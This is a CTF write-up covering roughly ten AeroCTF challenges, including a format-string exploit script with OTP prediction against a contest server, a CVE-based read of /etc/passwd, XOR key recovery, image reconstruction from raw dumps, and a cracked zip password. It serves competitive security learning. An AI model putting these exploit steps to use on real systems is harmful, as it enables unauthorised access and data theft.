I played AeroCTF as a member of team insecure
and got 3411 points, which is worth reaching to the 14th place.
I solved several challenges, some of them with the help of my team mates, and enjoyed the CTF.
Thank you to the admin for holding the CTF.
(I can't write detailed solution for some challenges as they were closed soon after the CTF had ended.)
- [Pwn 374] navigation system
- [Warmup 100] pwn_warmup
- [Warmup 100] forensic_warmup
- [Code 150] damaged ticket
- [Web 100] board tracking system
- [Warmup 100] crypto_warmup
- [Code 488] navigation records
- [Crypto 379] gocryptor
- [Forensic 497] data container
- [Pwn 488] engine script
[Pwn 374] navigation system
It's a 32-bit binary with SSP enabled.
$ checksec binary [*] 'binary' Arch: 32 bits (little endian) NX: NX enabled SSP: SSP enabled (Canary found) RELRO: Partial RELRO PIE: PIE disabled
We can bypass the login with test_account
/test_password
and it asks an OTP code.
--------- Navigation System Monitor --------- Please authorization on system Login: test_account Password: test_password Enter the OTP code:
The OTP code is generated in genOTPcode
function:
srand(time(NULL) + username[0] + password[0]);return rand();
We can predict the OTP code because time(NULL)
returns the clock time in seconds.
This is the program to generate an OTP code same as that of the server.
#include <stdio.h>#include <stdlib.h>int main(int argc, char **argv){srand(time(NULL) + 't' + 't');printf("%d", rand());return 0;}
After bypassing the login, we can enter the UserPanel
.
I found the vulnerability in setStation
function which is called in UserPanel
.
...sub esp, 0Chlea eax, [ebp+station]push eaxcall _printf...
We can get the flag by setting a global variable flag
to 1 or more than 1.
And our buffer station
comes to the 7th position on the stack.
So, the exploit to set the flag
to a non-zero value is just like this:
printf("\x??\x??\x??\x??%7$n");
I could successfully get the flag by calling readLastReport
after the exploit.
from ptrlib import *import subprocesself = ELF("./binary")def getOTP():t = subprocess.check_output(["./ctime"])return int(t)sock = Socket("185.66.87.233", 5002)sock.recvuntil("Login: ")sock.sendline("test_account")sock.recvuntil("Password: ")sock.sendline("test_password")otp = getOTP()sock.recvuntil("code: ")sock.sendline(str(otp))sock.recvuntil("> ")sock.sendline("2")sock.recvuntil("> ")sock.send(p32(elf.symbol("flag")) + b"%7$n")sock.interactive()
[Warmup 100] pwn_warmup
I just sent a lot of A
and got the flag :)
[Warmup 100] forensic_warmup
An unknown file is given.
$ file just_a_meme just_a_meme: data
Let's see the inside.
$ hexdump -C just_a_meme | less 00000000 5c 05 03 9d 2b 24 c5 35 23 e6 42 25 ee 43 1d f4 |\...+$.5#.B%.C..| 00000010 45 1d f7 3e 1c ff 3f 21 fd 40 1f fd 40 1f fd 40 |E..>..?!.@..@..@| 00000020 1f fd 40 21 fd 40 21 fd 40 21 fd 40 21 fd 3f 22 |..@!.@!.@!.@!.?"| 00000030 ff 40 1f ff 41 20 ff 42 21 ff 41 20 ff 40 1f fe |.@..A .B!.A .@..| 00000040 3f 1e fe 3f 1e fe 3f 1e ff 3d 1d ff 3e 1e ff 3f |?..?..?..=..>..?| 00000050 1e ff 3f 1e ff 40 1f ff 40 1f ff 40 1f ff 41 20 |..?..@..@..@..A | 00000060 fd 40 1f fd 40 1f fd 41 1e fd 41 1e fd 41 1e fd |.@..@..A..A..A..| 00000070 42 1c fd 42 1c fd 42 1c fd 42 1c fd 42 1c fd 42 |B..B..B..B..B..B| 00000080 1c fd 41 1e fd 41 1e fd 41 1e fd 40 1f fd 40 1f |..A..A..A..@..@.|
It has 3-byte blocks. The description says it contains some sort of image. So, I realized this is a sort of VRAM dump. I made a script to recover the image and got the flag in the image.
from PIL import Imagesize = 360000w = 800h = size // wimg = Image.new('RGB', (w, h))with open("just_a_meme", "rb") as f:buf = f.read()x = 0for i in range(0, len(buf), 3):r, g, b = buf[i:i+3]img.putpixel((x % w, h - x // w - 1), (r, g, b))x += 1img.save("image.png")
[Code 150] damaged ticket
There are lots of images of 1px width. Every filename has a hash of a number so I sorted them by the number and concatenated them.
from ptrlib import *import osimport hashlibfrom PIL import Imageimg = Image.new('RGB', (600, 267))for x in range(600):path = hashlib.md5(str2bytes(str(x))).hexdigest() + ".png"if os.path.exists("parts/parts/" + path):target = Image.open("parts/parts/" + path)for y in range(img.size[1]):img.putpixel((x, y), target.getpixel((0, y)))img.save("image.png")
The output image has the flag.
[Web 100] board tracking system
I did a search for the url /cgi-bin/stats
and found this CVE.
The flag was written in cat /etc/passwd
.
[Warmup 100] crypto_warmup
We are given a file with a lot of words.
$ cat meme_or_not kappa_pride pepe kappa look_at_this_dude kappa trollface look_at_this_dude kappa_pride look_at_this_dude look_at_this_dude kappa_pride trollface look_at_this_dude look_at_this_dude pepe ...
I replaced each words to some alphabets in order to make it human-readable.
a e c d c b d a d d a b d d e ...
Only 5 words are used and I found it's quinary.
The first character may be A
(of Aero{...}
).
The ascii code of A
is 65, which is '230' in quinary.
The second character will be e
, whose ascii code is '401'.
It seems each words correspond to digits respectively.
A --> a e c --> 2 3 0 e --> d c b --> 4 0 1
I wrote a script to decode the given text and got the flag.
result = ""table = {'kappa_pride': '2','pepe': '3','kappa': '0','look_at_this_dude': '4','trollface': '1'}with open("meme_or_not", "r") as f:for line in f:cs = line.split()char = ''for c in cs:char += table[c]result += chr(int(char, 5))print(result)
[Code 488] navigation records
There are lots of text data with hash appended for each file.
I didn't understand what the hashes were for, but a team mate yoshiking found the hash was md5sum of the rest of the text.
Based on this information I found dozens of files whose hash values are invalid.
After several attempts, I realized the invalid hash was md5sum(text + 'an alphanumeric character')
.
So, I made a script to find the alphanumeric characters for each files with invalid hashes.
import globimport hashlibimport reimport stringdef reverse(h):for i in range(10000):if hashlib.md5(str2bytes(str(i))).hexdigest() == h:return idef correct(h, contents):for c in string.ascii_letters + string.digits + "{}":tmp = contents + cif hashlib.md5(str2bytes(tmp)).hexdigest() == h:return creturn '?'badguy = []for path in glob.glob("records/*.txt"):with open(path, "r") as f:contents = ""for line in f:if "Hash" not in line:contents += lineelse:h = re.findall("Hash: ([0-9a-f]+)", line)[0]if h != hashlib.md5(str2bytes(contents)).hexdigest():w = re.findall("report-([0-9a-f]+).txt", path)[0]c = correct(h, contents)badguy.append((reverse(w), c))for item in sorted(badguy, key=lambda x:x[0]):print(item[1], end="")
Wow, guessing.
[Crypto 379] gocryptor
The encryption is a simple xor and the key is 16 bytes long. We can see many similar patterns in the encrypted binary.
$ hexdump -C example_drawing.enc | less 00000000 8d 6d c6 27 a3 f2 73 53 7e 02 5b 2a 86 6e 23 40 |.m.'..sS~.[*.n#@| 00000010 72 d5 39 c7 5c 03 39 99 72 3c 32 4d 87 6e 6e 6d |r.9.\.9.r<2M.nnm| 00000020 72 9f 39 c7 a3 ea 39 10 36 56 5b 28 87 6e 23 21 |r.9...9.6V[(.n#!| 00000030 72 b4 39 c7 a2 f8 39 10 37 44 5b 2a 87 6e 23 6a |r.9...9.7D[*.n#j| 00000040 73 ae 39 c2 a3 e2 39 14 37 44 5b 79 86 46 23 23 |s.9...9.7D[y.F##| 00000050 72 b5 39 c6 a3 e0 39 15 b0 2d 5b 2f 87 6e 23 21 |r.9...9..-[/.n#!| 00000060 72 b5 39 9d a3 e2 39 15 37 44 5b 4b 87 6e 23 21 |r.9...9.7D[K.n#!| 00000070 72 b5 39 a7 a3 e2 39 14 37 47 fb 2a 87 6d 23 20 |r.9...9.7G.*.m# | 00000080 72 b4 39 c6 a3 e2 99 17 37 40 5b 2b 87 6f 23 20 |r.9.....7@[+.o# |
They are perhaps xored with 0, which means the raw key. I collected the most frequent bytes for each column and restored the key.
def decrypt(data, key):result = b''for i in range(len(data)):result += bytes([data[i] ^ key[i % len(key)]])return resultwith open("example_drawing.enc", "rb") as f:data = f.read()key = b"\x72\xb5\x39\xc7\xa3\xe2\x39\x15\x37\x44\x5b\x2b\x87\x6e\x23\x20"result = decrypt(data, key)with open("sample", "wb") as f:f.write(result)
The output image has the flag in the right bottom.
[Forensic 497] data container
The given file is obviously reversed.
00000000 00 00 00 03 03 60 00 00 03 04 00 0c 00 0c 00 00 |.....`..........| 00000010 00 00 06 05 4b 50 6c 6d 78 2e 70 70 61 2f 73 70 |....KPlmx.ppa/sp| 00000020 6f 72 50 63 6f 64 00 03 00 b9 00 00 00 00 00 00 |orPcod..........| 00000030 00 00 00 00 00 00 00 10 00 00 02 c8 00 00 01 71 |...............q| 00000040 7f 7c c8 90 00 21 00 00 00 08 00 06 00 14 00 2d |.|...!.........-| ...
The corrected file is a word document, so I extracted it.
I found an image in word/media/
, which was just a black square image.
I extracted a file appended right after the end marker of the png image.
$ hexdump -C curious | less 00000000 13 37 13 37 65 51 d1 b6 13 37 7f ae 02 00 13 37 |.7.7eQ...7.....7| 00000010 13 35 bd 3e 13 37 13 55 13 36 13 36 13 37 13 37 |.5.>.7.U.6.6.7.7| 00000020 15 32 58 67 12 e3 c7 62 66 f9 02 96 12 e3 c7 62 |.2Xg...bf......b| 00000030 a5 99 de bf 12 e3 c7 62 a5 99 b4 5b 13 2f 13 36 |.......b...[./.6| ...
The pattern 13 37
often appears in this file.
I xored the whole file with the key \x13\x37
and the output file seemed to be reversed.
I reversed the data and appended PK
to make it a valid ZIP file.
with open("curious", "rb") as f:buf = f.read()key = b"\x13\x37"result = b''for i in range(len(buf)):result += bytes([key[i % 2] ^ buf[i]])with open("file", "wb") as f:f.write(b'PK' + result[::-1])
The zip file was protected with a password.
I passed this file to a team mate theoldmoon0602 and he found the password.
(Perhaps he used john
to crack the password.)
An image with the flag was in the archive.
[Pwn 488] engine script
I couldn't solve this one during the competition.
Looking for a writeup :(
Solved it: writeup (in Japanese)